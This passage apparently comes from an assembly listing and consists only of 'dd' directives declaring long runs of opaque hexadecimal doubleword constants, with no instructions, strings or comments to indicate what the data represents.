0E0379784h dd 0B1431BD3h, 2A6A0500h, 942757EBh, 0A1A9097Eh, 3C0A7510h dd 3D120720h, 0EEB641D9h, 252874F7h, 9C390A04h, 44A0CF19h dd 0A80F03A3h, 9B7F97A5h, 6D1D1AE0h, 6A747500h, 6F8EBB5Bh dd 9150C098h, 82ACEE9Bh, 95C40D05h, 0B080A5B4h, 0D96BB1h dd 0B8DAA778h, 0BE5F9A7Bh, 34111B1Ch, 8104B86Ch, 58816E60h dd 9C303FA5h, 0D0639FEh, 68053E81h, 21EB9747h, 4B64F85Fh dd 0C984C000h, 28B27FC8h, 674600DDh, 0E0588EB9h, 0B8C0F004h dd 90B58C10h, 844A0E45h, 9102A362h, 7B6053C1h, 8D48DE82h dd 689226DCh, 0F71D8180h, 39A7C78h, 0E721FBECh, 0D8D06EB7h dd 7700C18Ah, 49D1B4ADh, 912E4BEh, 0E2F1D537h, 8835CC24h dd 6C175E24h, 6100A9CBh, 0F6200F15h, 62640068h, 1DC3E330h dd 5800F165h, 4B769181h, 0CE5AB1BDh, 1E8725C8h, 9CA3B0D8h dd 0CC30C53Eh, 48E361ECh, 0C8040B3Bh, 0B10087C1h, 538EB8CDh dd 1BC92000h, 0D509BAE5h, 5DB300B7h, 0A17226DEh, 48FC1598h dd 72C8E4Ch, 6994093Bh, 0E0B85DA2h, 2DEBEFCh, 39E51C2Dh dd 10E3EE24h, 1552AF0h, 0DC824800h, 0ED5227ABh, 0C4670086h dd 0CB37CA61h, 780028C6h, 1E20C6Eh, 3CFE8ED9h, 4680BBBEh dd 44DB8DB9h, 10000B06h dd 52F421D3h, 780A1FD1h, 514F0058h, 0FCFA89E8h, 0BA382F0Bh dd 4A9F80F5h, 5F6C754Dh, 211000A2h, 0BC7419C3h, 46306637h dd 0FE282829h, 0C9C4051Ch, 11FABFAFh, 271C90F6h, 44CC893Bh dd 0D3C870A0h, 571EB794h, 95803A2Dh, 4D174C6Ah, 0A1F600E2h dd 0D53E9F8Bh, 3F03A75Dh, 5F1CDF96h, 0E0A5BB61h, 30ABC384h dd 0B5105B15h, 0FD139C86h, 0FC021496h, 9DF4D3h, 1369C7DFh dd 3E5A0F02h, 40B14F58h, 0C82A70h, 0D40AD5AEh, 0D332065h dd 43E5FB05h, 98C08D07h, 1FFF512h, 0B3C4E6D2h, 0E4293D19h dd 31E84F8Fh, 0D8C8A300h, 0C2A1D5CBh, 0A4374817h, 292AB26h dd 34B70BF8h, 7DE92C68h, 2CE29B00h, 0EDBD3E52h, 0BE1D0051h dd 56617221h, 4200336Ah, 8A169069h, 0D35DAh, 49730B4Fh dd 0C7532E80h, 32F8C200h, 0E457915Ah, 10930446h, 8290AB99h dd 0F060CF8Fh, 490F449Ah, 40B337B9h, 284AEC87h, 692B00F9h dd 0C3A3C5F2h, 0B9001274h, 0DC86956Ah, 0E90E34h, 8B53E9Bh dd 794E9824h, 7B5E0103h, 0B87D8EC2h, 1E377F0h, 71D80282h dd 0E643E46Fh, 9592E880h, 76247014h, 5600BBDAh, 297DA1ECh dd 0FEA0058h, 0B9C8F7E1h, 0AB007521h, 8914AED7h, 1586280h dd 0F07B4EC4h, 0C45D7F8Fh, 3D034659h, 0D384764Dh, 0C431A913h dd 0F3D2F4h, 17C19DF7h, 0E2AF5F91h, 55643E00h, 85B41CD4h dd 4B9604BDh, 80423A50h, 3810D51Ch, 0DD135800h, 637F5B9h dd 8B9B00A5h, 6AF77914h, 900005D3h, 0BAD24C12h, 276B75Dh dd 0AD89F97Eh, 53405593h, 461C0BF7h, 9C12B018h, 0C5862400h dd 49849F69h, 0C700603Bh, 0A2F85A9Eh, 0B4092632h, 83D3CC6Fh dd 0A0D8E76Ch, 623B93h, 342C3C6Dh, 714CF18Ch, 5D72C600h dd 5E7006C0h, 0ECB83Fh, 0EA12CF69h, 0CA28824Bh, 0D263D600h dd 0AF656054h, 2AE8F2h, 9E2F5D34h, 7269DF76h, 4AE7E300h dd 0CA074C51h, 62EA4885h, 0C5C23D00h, 5F359B32h, 82F63Fh dd 0EA41660Dh, 3C39BEh, 0DB85CB6Eh, 55ADB278h, 0B9899500h dd 0D5603574h, 4D470040h, 4A8B7C41h, 0C400695Bh, 0F02A820Ch dd 0E59D8Ah, 0B5472B11h, 0DA461993h, 0B33ACD00h, 0AE8E54B9h dd 4D20EE9h, 28E194D0h, 0F0ECEA82h, 0E101163Ch, 0A57E7BF0h dd 5AE55CDAh, 2412B8E7h, 4C8507FCh, 0A03BDF39h, 8340BAABh dd 74F16E00h, 0CB5B983Eh, 0FBEFA79h, 0C607EB60h, 4A00052Eh dd 417163BCh, 0FD00C975h, 10CF731Eh, 75C7D0h, 6E46C3EFh dd 0F26C1430h, 5C213A01h, 0C5E7E079h, 6DC4F0h, 2224948Ah dd 0BA5048AAh, 0E4256200h, 0FCB39126h, 351C0056h, 0B0AF6751h dd 0A53A18F3h, 4B1480CBh, 0CAC792B5h, 3CEE0039h, 0BAD8502Ah dd 0C009AF2h, 1DCC7CEFh, 30E5D4Eh, 706AD34Ch, 0DCF8AA53h dd 0EE016B3Fh, 438D6921h, 0C85013BCh, 4A8C7BFFh, 317E00E1h dd 0E9D934B9h, 2BC32307h, 6B9202h, 0F35D1313h, 51AF480Ah dd 0C045700h, 0F8FFF1DBh, 0BA5C9900h, 0C3A5EA29h, 52E40D4Ch dd 2060CF70h, 8A00CE78h, 428337ACh, 186CEF20h, 20A46E73h dd 0A978D0B1h, 11EA8D33h, 0C751C040h, 0CEDA3E67h, 233C3B80h dd 0F3FE2B18h, 2D81D02h, 40C89F64h, 167FD468h, 0EB1A6FFh dd 3D8045BCh, 182CF7FAh, 0A4601C98h, 0CF593E50h, 24433195h dd 3B8319F9h, 0A2C82FA0h, 36694010h, 66EF7005h, 0A0AB2919h dd 25A26C05h, 0C031D06h, 78830599h, 780A00E0h, 4888AA36h dd 700026CDh, 0B540AC7Fh, 37C5F8h, 67EDB71Ah, 0C9903430h dd 2A008670h, 0FD2E722Bh, 5E56A8h, 0E842E516h, 85583FA0h dd 2EB8B00h, 0BDD1FF77h, 0D3D90739h, 408F16CBh, 0F83720C3h dd 0AE00E2FEh, 3915FB07h, 1167EB5h, 2191D7EBh, 0CCE7D256h dd 0F300FF24h, 3FD6F649h, 0BEC8031h, 0B2C0B942h, 0D12A7786h dd 628C9A1Ch, 6BC900FDh, 23645416h, 1DF7F4DFh, 9FF458A6h dd 7CEE8F70h, 7E5B2000h, 1700ED3Eh, 0FE2F0B3h, 16DCC43h dd 96CD9A2Ch, 0D3092D74h, 0C6FD601Ch, 0F48A1BC0h, 0F6CD7DBFh dd 0BC730005h, 5F3013D7h, 0F0701D2h, 0A0C0CE07h, 0C781B650h dd 53683C52h, 61954684h, 4F6EC08Bh, 25318CB4h, 3955290Eh dd 12655811h, 0C543122Ch, 0C6492911h, 11781B11h, 0C2119238h dd 40DD3BF1h, 0D7DBA05Dh, 0D3F008Fh, 0FE8967CFh, 0E400153Eh dd 1FECB574h, 1F62AC6Dh, 0C01BA7E3h, 7FF19F4Ah, 4B072B19h dd 0C80DB17h, 0FDFE77D0h, 1C90F68Eh, 1C222E8h, 0ED9E9CE0h dd 0DA4CDC06h, 1E00C6E2h, 0CEE1551Bh, 75C4D5h, 0AFEE1C66h dd 0FB11EDA2h, 46184E71h, 68745825h, 2C7500F0h, 3B569744h dd 7707CDE6h, 0EFB95D6Fh, 0FD71F780h, 0E01400DCh, 600C7B88h dd 0BD00CB9Ah, 29748F18h, 39C37E9Fh, 0AF1F1AD5h, 32CA4063h dd 2FD04A3Bh, 0F04EFC00h, 33B91372h, 0A9D6001Fh, 0F8582CAAh dd 5B58873Dh, 78D10004h, 767D0A70h, 74053FD2h, 7A7C9780h dd 0E76F5ABEh, 0FBF36D00h, 64B75E94h, 3A8401C0h, 259251Ah dd 28B04095h, 7A00CC0Ch, 0BD61FF9Ch, 7949EFh, 31F071C9h dd 864E9AFAh, 6CE04012h, 0FF336500h, 0F94743h, 0FE23C197h dd 0A187B224h, 19003498h, 66E46E98h, 76D00DABh, 37910B62h dd 7980FACCh, 7F857B17h, 559FBA00h, 0BC7022C1h, 404303FEh dd 0ED3B6439h, 19C8C203h, 75651209h, 0EFBB00E0h, 0CAD15CE7h dd 97054535h, 0E6FD180Fh, 98CFBA00h, 0F639C50Ch, 0B8DE00F5h dd 38051942h, 7F01ADF8h, 0DC9CC191h, 40F85927h, 0D1031F1Dh dd 0EED64613h, 67078852h, 0B6F2AD82h, 0BDC344E1h, 180DE0h dd 130864Fh, 260C8B46h, 64955907h, 9212873Fh, 58E6C0E2h dd 44A8C07Bh, 745D67A1h, 4066BD00h, 0B857AC2Dh, 0C272004Fh dd 47163A8Fh, 120056BEh, 51D368A2h, 2EFA90h, 0BDCA580Eh dd 23F63648h, 6E43D700h, 4F453E6h, 0B62900BFh, 5C0D57Dh dd 8F2F318h, 241C6500h, 352BB8EBh, 84BA003Ch, 0F72D9C30h dd 0FC001EDBh, 0FE552840h, 24EC0B5h, 4271B9D6h, 8440C78Ah dd 7CB09E6Fh, 8C56F001h, 3E921377h, 0A232D4h, 0E5CDF57Ch dd 0F963D402h, 0C016B31Dh, 0FA9717C0h, 0EA2558Bh, 8A2A6CB4h dd 0C79FA780h, 0C600FBF1h, 0E2831AB1h, 31F10h, 0D13B7F82h dd 22F60B87h, 0AEB0F900h, 674AFBD9h, 49060124h, 0BEC58213h dd 692FF068h, 52990A13h, 96C8003Ah, 3963B660h, 0C880F7CBh dd 51331777h, 37009032h, 3923193h, 0FAEAC0h, 0D797EBE0h dd 915A35FEh, 0EE4C4F07h, 796065F1h, 0D8F91Ch, 0C1144A2Dh dd 0FFA02E19h, 0AE2ABE01h, 0FD9A8339h, 901F208Fh, 11A867h dd 801730B5h, 94003E72h, 224C3755h, 0EDD35Ch, 1CA6245Bh dd 0C359BDCDh, 0F256D800h, 0E9DE3C95h, 96F801BBh, 93DD17Bh dd 97E440A8h, 0AE0EE45Eh, 0E08B598Ch, 5F31AC67h, 1F723070h dd 0D9CF1548h, 220BD000h, 5A7A2A26h, 8B60005Bh, 4B3FE9ADh dd 0A2B00809h, 673BE477h, 7FC414F4h, 0B858C4h, 19722184h dd 0A5F713h, 1F7DE0EFh, 0E14FF6D4h, 0AF74BDE8h, 678E7C1Eh dd 2DDBC580h, 77FF210Ch, 10CF607Ah, 0E33183D2h, 85081400h dd 64F7A1E1h, 4EDE30BCh, 0F9075620h, 0E6725D00h, 7E9711A9h dd 35CF24A6h, 1C2F12C9h, 1821C188h, 812E85D8h, 8754BD10h dd 0AC5F13Ah, 0F6B5E0h, 8EDE6F83h, 0BAAEAC2h, 0A84EC300h dd 88704451h, 8F3D3D19h, 0FD28B480h, 76748B7Eh, 0E453E700h dd 69C6ECFAh, 10D5006Fh, 0D15EAAE2h, 33D598Ah, 5D6D97CFh dd 3D007512h, 0A1145A38h dd 0B5200E29h, 2BE2480h, 1123BFAh, 27CAB980h, 0A41D8C19h dd 0E5DF7774h, 0D882A6BEh, 2B353200h, 4C2F1Ch, 33A4B420h dd 3F348E04h, 2C46CE0Eh, 0ADDF006Fh, 0B0B44C89h, 0DA270089h dd 2FAA7FBEh, 0A900F435h, 1A302054h, 4C06B0F7h, 0D918D8E5h dd 0B4F2F222h, 8044123Ah, 4318CA3Bh, 26419C02h, 8EA40396h dd 4D27B29Fh, 0D26AE0D5h, 480187F5h, 85141B5Ah, 0E4535B3Fh dd 0B26AE0D3h, 0D5C34056h, 7390F500h, 41DA7465h, 95F605h dd 0CD0FBA36h, 49ADE1CEh, 4217EA03h, 0F1BEFB89h, 1C87006h dd 12BA02D2h, 482496A9h, 258A8560h, 0F764AF00h, 0EE7BDAAh dd 728D00FAh, 0B71BCE2h, 0EF1D5DA9h, 198078B1h, 693E238Eh dd 0C81A0F36h, 0ADA01F15h, 81252C50h, 0E976A10Eh, 0FF2F40DCh dd 125FA5C5h, 7477CEh, 4E45AA64h, 8639C78Eh, 0DE92835Ah dd 98CD91F7h, 38A18C43h, 27BF2458h, 0C4C27E00h, 77991741h dd 7300E1EEh, 37DF92CFh, 9F16FBDh, 7522233Ch, 589A2881h dd 0FC3378h, 0AC1B525Ah, 0C2308Eh, 72551982h, 0C3909C7Fh dd 9068DC30h, 59087D78h, 0E01FE038h, 6E9E00DDh, 2D48A117h dd 1EFEC0Bh, 0B93C81C6h, 2EC004CAh, 0DE4700D8h, 0DF6B9ACFh dd 0BE001BACh, 0F8E86713h, 0B0B1E9EEh, 771EFA06h, 34AA0037h dd 0DD83CFE5h, 8B03442Dh, 80E9BC8h, 0F8C19548h, 8080661Fh dd 35BAA1BEh, 0D000F2C9h, 8C9E0623h, 4F81BDh, 10CCAB67h dd 5DAE02F4h, 0EC7F3300h, 5EBBEADBh, 0CD3B009Dh, 324834D4h dd 8D05A513h, 0E97A629Ah, 0C0F0F40Fh, 0DB1F2837h, 384C483Ch dd 0F9D8F104h, 2A2880C4h, 4238DA36h, 96BCFEh, 0BA871B53h dd 0BD12EEh, 83B1F220h, 0C2C35CC4h, 0BC09707Bh, 2053173Ch dd 935F8B50h, 414001A2h, 6133E511h, 70B0430Eh, 241E9D89h dd 60015D00h, 8BAD6E52h, 0AC40C7CEh, 0F83A414Fh, 0E85F0537h dd 0C0708072h, 7A7E7545h, 0B429601h, 5C12C445h, 30F4DDCh dd 435BA7BBh, 7CC3F910h, 2B889ABBh, 6C001104h, 5D8825A6h dd 5CCD1EE0h, 905DB16h, 8057BEE8h, 0B4AA4872h, 46C2C917h dd 0FEEE00BAh, 36F040E4h, 0DDBB3200h, 0F516EA51h, 1AE100ACh dd 119F3B7Eh, 0AF03D083h, 0BF9C4ED4h, 42D00075h, 3267E58Dh dd 5F03DDEFh, 894F44D5h, 0C450B7D8h, 0B3C599h, 373F1FBDh dd 0EFE63E4Ah, 74E26100h, 2ADA3B7Bh, 75FF0F10h, 0B8424878h dd 6840893Eh, 0B10A9612h, 0A4F4B567h, 5DC60D00h, 0A0073DAAh dd 71051AC2h, 0FA323843h, 0E3906280h, 97AA5066h, 3C506358h dd 72B98073h, 0E456AE08h, 0B05C4Ah, 0F7E81F00h, 144C6F9Ah dd 5C2B5B02h, 0E0439FEBh, 0FCC19Dh, 0F6CD1980h, 4234D53Eh dd 6C9B000h, 934ABDF0h, 2ED7537h, 4D0EFD2Dh, 815F756Bh dd 5B1BAD3Bh, 7B9720h, 0C383C1F4h, 0A65F9039h, 0A92D8404h dd 74806198h, 1CAAE852h, 0D75162F8h, 1F120091h, 0CBF3C463h dd 76435F00h, 0ACC2F699h, 60F2E7h, 8D117FEAh, 0EB7A4E1Eh dd 8007D03Bh, 0CC127194h, 90F53427h, 0FC4C1374h, 9DB460D8h dd 0DF14A746h, 9DC9FBh, 0D6AC7ABFh, 266951E1h, 32089BC1h dd 0B484F5D0h, 5F63126h, 0C70E90E3h, 0F1E0A84Bh, 0F33F85Eh dd 0BC27DC54h, 2EFE7300h, 3200A834h, 0B985E0DEh, 31BBDCFh dd 7DA1E65Ah, 0D000C802h, 0BC085653h, 327F10Ch, 963CE7F0h dd 0C6B81F46h, 0D7003EA3h, 0DE334B21h, 94533DC9h, 0B68400BCh dd 0B3763F5Dh, 0DC5C5801h, 7BCF8B51h, 90ACC970h, 1C410000h dd 8ADDB156h, 901C88A4h, 9E008FC8h, 0D8A7650Dh, 74B700CEh dd 8A3A3354h, 27003BB1h, 0FD2CD0A4h, 76685D1h, 0FA290A94h dd 3756C024h, 0B700F12Eh, 0A80BE6B3h, 1F892B04h, 40C73D86h dd 82CCFA3Eh, 4D030F6Dh, 3CBE65BDh, 0F400C7FEh, 492B64h dd 0D1DCB547h, 0FB1C4D40h, 0E4F11F00h, 84E05EE1h, 9B4204B4h dd 0E0DD07E3h, 3716AC49h, 0FA005FF7h, 47ABEF1Dh, 0F6BD0061h dd 0C5074640h, 29C1C8EBh, 66A17D4Dh, 6AD439D1h, 83072E1Eh dd 8B2F00CEh, 5B6F7A34h, 0BC316201h, 7F26F7FFh, 80CB2B71h dd 1E7EA399h, 0C0A81957h, 40A71A34h, 0AA3B3759h, 158D807Dh dd 2038EB2h, 70C60020h, 2E71E1A5h, 40E4ACD0h, 894A48h dd 61352ABAh, 8F8E99h, 7B47920Fh, 4C3D24BFh, 5E024BEEh dd 888A0426h, 9B96E0EFh, 13690009h, 0B8058564h, 220798A3h dd 150D2E48h, 21419E40h, 31820080h, 4B8CB158h, 9607177Ch dd 0E5611209h, 1F6BC1B0h, 3FED0059h, 0C6F84C72h, 100E6FAh dd 9E306DF4h, 1CCFABh, 27893286h, 4FDA9528h, 0B44A9400h dd 6B71853Dh, 8CA80980h, 3F801BC1h, 8EA8BFEh, 0D5557300h dd 62019AAEh, 70A10057h, 0A4ED6E21h, 2E3B2F48h, 0CB7A8028h dd 35DA4A1Ch, 465E0063h, 0ECC402D2h, 900213B4h, 58FCEE74h dd 0DEDCA1F7h, 3E0790Fh, 249212B8h, 0A5300108h, 0DCB4E7CBh dd 82F2D629h, 944A843Ch, 0D8C012h, 0F8BF85D3h, 1D37AB04h dd 4CE3877Fh, 12E8FEC8h, 55EB4600h, 58C266F9h, 86060FD4h dd 3CA01682h, 0C023C4D5h, 976E8700h, 8CF67C6h, 0B2692406h dd 1C3F173Ch, 54C085FBh, 689B00B0h, 0D79C7DFDh, 0FFAFA100h dd 3D7BC274h, 85F30071h, 0F70F9E49h, 0DC036777h, 548AA4EEh dd 6D53A9E1h, 11213FCh, 0E9D0EF71h, 209A8620h, 6700F434h dd 381BBF27h, 1A7C6h, 0B4952C10h, 391F969Dh, 89AD1900h dd 0CD569920h, 0AF3C3FD6h, 73B93h, 0A2A4C660h, 2D00022Bh dd 7D6993CEh, 858497h, 0ECAC3B37h, 31EDF6B0h, 0FAC8091Fh dd 8AF2BFA8h, 49A14F05h, 89C0196Dh, 16C99F3h, 0CCBCB2CDh dd 22A6A86Eh, 58430080h, 5F2EDC8Fh, 3E2F29Bh, 0E50287D7h dd 17D8C92Ah, 2007468Ah, 0B3619E25h, 0A85AD300h, 2F390676h dd 909DBDB6h, 5E6E6900h, 54BA1A47h, 0E83A00BEh, 0D9F662B1h dd 5704B578h, 72E4404h, 7141A0C1h, 6AAF30h, 0F36C0C5h dd 384EBE28h, 0DFAADE00h, 55BB27ECh, 15CE0398h, 28BA31C9h dd 0A6757CD0h, 0B204A05h, 0A10961BDh, 69080003h, 3F4C0Dh dd 0C293CB0h, 0DF05F3D9h, 2CF0D817h, 58CCED03h, 91C7A093h dd 0C6DC0596h, 0DBE1F2h, 9CBC510Ch, 8C021DEh, 0D33B1338h dd 0F05C37A1h, 6EF30060h, 0F60080CCh, 0CFCAF46Fh, 61941539h dd 9FA720BFh, 2E776191h, 902DD83h, 72D87F99h, 0E2E80820h dd 0E500A824h, 9AA22342h, 8A53DBh, 5B08EB3Eh, 108CC89Bh dd 0EA0367E6h, 0CA32C973h, 60E680DCh, 11ED006Ah, 1FB172B3h dd 0B2240DB0h, 400ECEEh, 0F2D0DAF4h, 0F3CA0AAh, 7267446Bh dd 0E2A9820Eh, 7324A2ECh, 9BD46BB3h, 0FF380F18h, 0B18A60EEh dd 6F0170Ch, 0B09AE889h, 237AE700h, 818BE57Fh, 0F268A02Eh dd 8538A0ABh, 89100B7h, 87A7F907h, 0DFE23CFFh, 2803BC70h dd 736A7060h, 9559A844h, 7BF8EC4Fh, 5430074h, 4D711ACEh dd 3200E964h, 2C9D5178h, 0DC195Ch, 14247A98h, 8D6D5297h dd 0D7F89C0Fh, 48408089h, 0FD9E69Dh, 72A68645h, 224D1600h dd 9A787632h, 0A71CCAFAh, 1CC07AE5h, 0FBA4337Ch, 0B4380750h dd 1046BEA1h, 0B03B1978h, 0D9CDDB03h, 0C8182E88h, 0CC588Eh dd 0BCADF586h, 5A059593h, 7A06D09h, 0D4082091h, 3FBAC3Ch dd 3513A3Bh, 8373373h, 0FFA0218Ah, 88AEACh, 9A47282Dh dd 1FD24067h, 5939100h, 0F9CFEB3Bh, 17733814h, 0C0C84314h dd 0D0B64980h, 0EA74EE35h, 0C2667173h, 721E208h, 7ED10E2Ah dd 0C87C500Fh, 0CA07A93Bh dd 9AEDEAA3h, 80AC6B81h, 6F458880h, 0EF645018h, 47F499C7h dd 71DC11D1h, 8D1196h, 0A2E54981h, 0F21DF024h, 7518232Ah dd 5C3421h, 0B5612640h, 89E7FE1Bh, 0C01FFF02h, 97EF6566h dd 808E1128h, 0C212C09Bh, 0AA1C0707h, 0E122966Ah, 40437775h dd 569B3BB8h, 730D2603h, 0F23FD5ACh, 0A3C4A494h, 0FCAC4B60h dd 11223B23h, 0AE3C80h, 0A56A30ACh, 0C1C22C15h, 0AF3F1DB0h dd 0EC8C4046h, 2B980BA6h, 6A081400h, 1B4B1390h, 0B62600C7h dd 2C5C50F5h, 0C917AD2Eh, 6918734Ch, 8CDAECh, 105193EFh dd 0D0B7355Fh, 9F8B5600h, 2B2D1A5Ah, 244C009Eh, 5B755061h dd 1D0026C6h, 9BF72CDCh, 7618A27Eh, 0B87A5Eh, 788B6C50h dd 0CD814496h, 4B145661h, 0E960F7B5h, 495E0F85h, 0B300629Ch dd 3B64143Dh, 3452E300h, 6856CFAEh, 0EA80299Fh, 9F3CE220h dd 18D03230h, 0B8B9F4EDh, 840B57DCh, 81511F5Ah, 8C35F815h dd 0D1C9088Ch, 0BF047C20h, 0AB42885Ah, 0B58F43C0h, 0B0693059h dd 12F0B771h, 7661991Dh, 53B99803h, 0C20830DAh, 99EA8D21h dd 0D62E887Dh, 0EE00A2D3h, 85CEF978h, 0F3A0A923h, 0F59F3840h dd 0E4BC005Bh, 9674877Eh, 0AA00E9DBh, 0FD60FF24h, 4F3C39h dd 2354F359h, 27D0CB95h, 0D1257831h, 28204D80h, 0C6BCA855h dd 8814634Ch, 89C0E0D0h, 11D31B5Bh, 83FC4B00h, 0E594780h dd 5C38D9D1h, 18214E8Ch, 80FB6A3Eh, 0C70C2DC3h, 1539E282h dd 0C02402E3h, 19CB0D2Ch, 0D0B23059h, 8CA6AD47h, 13991404h dd 0F962E277h, 99EC8F20h, 0F61B06A5h, 19D5AFE2h, 9A33AB00h dd 999BF3CAh, 40740247h, 1A28B039h, 886C3487h, 62991160h dd 0C0DA5376h, 99E99080h, 0B00146DEh, 0C96A0662h, 9850BAE6h dd 0F6604E87h, 2D47175Ah, 4D130042h, 1D35C038h, 0BAB71205h dd 0D440D961h, 11105FFCh, 0EF5E0393h, 0F08E5B1Dh, 210002A3h dd 59108A1Ah, 22EB89Eh, 0D53AC69Ah, 0F422019Dh, 99F4A0C7h dd 76954F91h, 0BB6100A7h, 0C38258FFh, 0A51F634Eh, 7CD908h dd 905364C4h, 4B543Ch, 0CFB27589h, 0A013D670h, 0ABDDB01h dd 9EF33779h, 4E315981h, 70CCE42Dh, 2200C02Bh, 91D529CFh dd 1F0D7569h, 451F2801h, 221B6EB0h, 0DCB045A8h, 153E98B6h dd 0A897A977h, 990E8960h, 0CA2600D9h, 20C60A64h, 0D106AAB2h dd 5B9BC26Fh, 15D03B29h, 7192A300h, 0C6E3CBF0h, 0CC13D5FAh dd 2002EC4Bh, 4C8ADCE1h, 0FC480248h, 5C1F8082h, 0DB105319h dd 2009FB69h, 0F730CAABh, 0E3ED9E01h, 0F47BE049h, 0CBA1A900h dd 87040E5Bh, 277EC48h, 11A62827h, 0E4B1B6B7h, 9315E813h dd 91ECFE21h, 5E7600DFh, 0CE60EA10h, 4272D5h, 0A714B8FAh dd 0D8F792Bh, 3D0494EEh, 0EBD034BEh, 88228D8h, 8452415Ah dd 321A2C6h, 555ABD7Ah, 94E090FFh, 0FD000F34h, 0DF886BA1h dd 292159A2h, 59581211h, 311820h, 0DF37C81Eh, 595CD9ACh dd 0CB18B176h, 8328DA02h, 0F8512E9Dh, 0F3920E44h, 2D373B20h dd 0F6000DFDh, 5216FA08h, 3A3C35B8h, 43A4E68Ah, 45314794h dd 0E77420E8h, 5221425Ah, 0BE79C0BCh, 6100D85Ah, 8ED566A8h dd 18738Bh, 0AA88F20Ch, 0F3E70151h, 5CCC49h, 0B81A6F3Eh dd 9A93Fh, 945D6159h, 0E7BCC3AEh, 93B5250Ah, 0B911E4A8h dd 0B842188Fh, 1313692h, 0D8437512h, 0DC6AFDF1h, 7101F637h dd 0C63A4BF4h, 9C239496h, 403C5C03h, 30B74C8Ah, 5D12A111h dd 0A5503400h, 0C54E7A2Bh, 28FB76DDh, 46D09154h, 106402BDh dd 1C169314h, 108B1907h, 3C30CE2Eh, 7DFAF9h, 3A82F657h dd 0F7E5F406h, 7727CD06h, 2490D36Dh, 4F8C46C6h, 0E7E2A581h dd 2688F1E3h, 0FB620298h, 674F80E8h, 6B1907E0h, 891E9FBh dd 36F040EAh, 3F025C14h, 177726DDh, 53700CFh, 0FF78B1FEh dd 874614B0h, 0E9FB6302h, 0CC473780h, 0FB6C1600h, 1BF540h dd 0FE8ACC39h, 0D31524Eh, 8CB4F26h, 0EAD8A680h, 499A7224h dd 5C022CBCh, 0DB524BC5h, 5D4650C4h, 0BFFB1D02h, 3C946780h dd 0FC3F46E6h, 47A981C9h, 499D8821h, 20926881h, 0EF773F35h dd 0B5F763D0h, 0AC6491h, 0D521215Ch, 9FA2A480h, 77C9CCD7h dd 0CFF5001Ah, 0F71F72A7h, 0B0B14358h, 3AD668A4h, 7C0313B5h dd 0BB8B2CD3h, 182A282Ch, 740CF44h, 357C1676h, 43EF1B05h dd 0C883A6AAh, 0A0B2FA61h, 89C583A0h, 3B90004Eh, 423CD167h dd 9707D462h, 0B151309Dh, 9AC3B637h, 64615038h, 16398CBFh dd 26931211h, 37A838h, 8C4C105Dh, 1FBCBA84h, 27D4A206h dd 18A9D193h, 0E11D50C6h, 557D6B70h, 4BF52405h, 4846FA8h dd 3C44BC53h, 1030B06Bh, 76105F99h, 0C7C898C2h, 99E89380h dd 3A3E45h, 18D17E60h, 0C1AD860Eh, 67E90D48h, 6AF05329h dd 0FA5E5Bh, 0B348D849h, 841E0BAEh, 0E7A37612h, 0E3510800h dd 0B1A0A2h, 0FE83F3CFh, 814C6CDh, 91C03700h, 1374F6BBh dd 0E43F008Eh, 7E525FA7h, 3D00B1B3h, 8C48CA12h, 96871Fh dd 33E10DA2h, 7DD0C088h, 865FE200h, 0E04A6B29h, 403660E6h dd 0F4FEEB41h, 1D0FD278h, 0C30C488Bh, 0A8342327h, 1F4F2CE1h dd 0BC449041h, 24840581h, 10D6C248h, 1F7E7765h, 4083C058h dd 797FF206h, 0E3078792h, 22B6BD69h, 1130F8A7h, 0C18C7Ah dd 595FB4EEh, 58B84BBFh, 0E2DA3F05h, 3AC06724h, 0FADEEA4Ah dd 57D830E0h, 965E1EC0h, 400D6E30h, 0F6752Ch, 83095CB9h dd 0EC6D644Bh, 80DC0F72h, 807D5201h, 0C09FDD49h, 87A7DDC1h dd 0D02D09B6h, 73E9C30Bh, 0E77520h, 6DAFD2E5h, 0F7F8C415h dd 62EEFD90h, 0CFA23A0Ch, 448106h, 5BD318C5h, 97EBC7A9h dd 0E4E71C1Ch, 6FECBA41h, 23D0116Dh, 0DEC6008Bh, 9686F794h dd 9D014BB7h, 14F6F1FFh, 0C9C44C4Eh, 636E00B4h, 0A6A7366Ah dd 0C000232Fh, 4E3E79E2h, 177853Ch, 0AE484BF8h, 0CC5032E3h dd 0C008DA0h, 8C7B19DEh, 7772482h, 38553335h, 1097208Bh dd 0BE00482Dh, 0B5205EFh, 1DA1BAF9h, 80CFA692h, 454B39C1h dd 3100116Bh, 0EADF5966h, 95DBCCh, 12F01763h, 1F97CF90h dd 0A720AE00h, 0DBB1F20Eh, 24EE00B6h, 909BCDC9h, 0B5E87AF5h dd 9F8D7403h, 0E0F90132h, 30FAF1E6h, 8140C896h, 387510D0h dd 0F2099500h, 65C94B03h, 0DEB90051h, 88CC74B0h, 0D700D097h dd 9DAB5F83h, 49E96A93h, 2B0B20BEh, 801819ECh, 0FEF29F61h dd 3AF6FC00h, 7067BA5Bh, 2D8D3BA8h, 0F199C180h, 47C479D4h dd 31DEE212h, 0FF23E03Ah, 35BBE400h, 26F7B259h, 802C0D60h dd 0AA635A03h, 0D91692DAh, 1100DD87h, 0E97DEACFh, 0C59B0082h dd 0F3598F9Eh, 95020250h, 128DD1CBh, 1008733Ah, 0FEB124A1h dd 6C403313h, 0FDFE7681h, 0FC905Fh, 0B2A83043h, 61E957CFh dd 319AEB27h, 4B024E4Ch, 0D37E209Ch, 5B0F008Ch, 544E83B4h dd 0D4B0821Ah, 64035E46h, 3F80BEFBh, 205132DCh, 4EFC45BFh dd 70419E00h, 0F978CC11h, 8FE0932h, 0A8908B21h, 5828F356h dd 2F07A8D4h, 0CBEF974Fh, 84998290h, 8EDE00A1h, 0F31D35FAh dd 31030A3Ch, 5A0832BDh, 0AE2821F0h, 2821C23Dh, 919F4010h dd 10B8089Ah, 0D640834h, 903F6B88h, 0FA984E6h, 0C8809048h dd 13AFDC37h, 0E5820043h, 38931EF0h, 3D00D4ACh, 0E648758Dh dd 3BCF8C5h, 121AD2CBh, 0F6D077B1h, 7F07223Fh, 79EE28B3h dd 77D8FA0h, 3DA92C2Eh, 30003A56h, 6947C70Dh, 733B7045h dd 0DDBC00E9h, 240AC866h, 760207B7h, 0C06CD4E1h, 0FB80AEF6h dd 1BBA038h, 0C76023BFh dd 2E0878Fh, 0D9E082h, 47DBB9ACh, 41AE302Ah, 8DA0F5F6h dd 0D3095B18h, 0C01E7A1Ch, 3223774h, 660247E1h, 0E89081D6h dd 453E517Bh, 7C506A73h, 32BA4000h, 686104h, 0AF285506h dd 6B4D75AAh, 93183463h, 0CEBFD0F3h, 7A811D6Ah, 50F42AA4h dd 0CD82D3h, 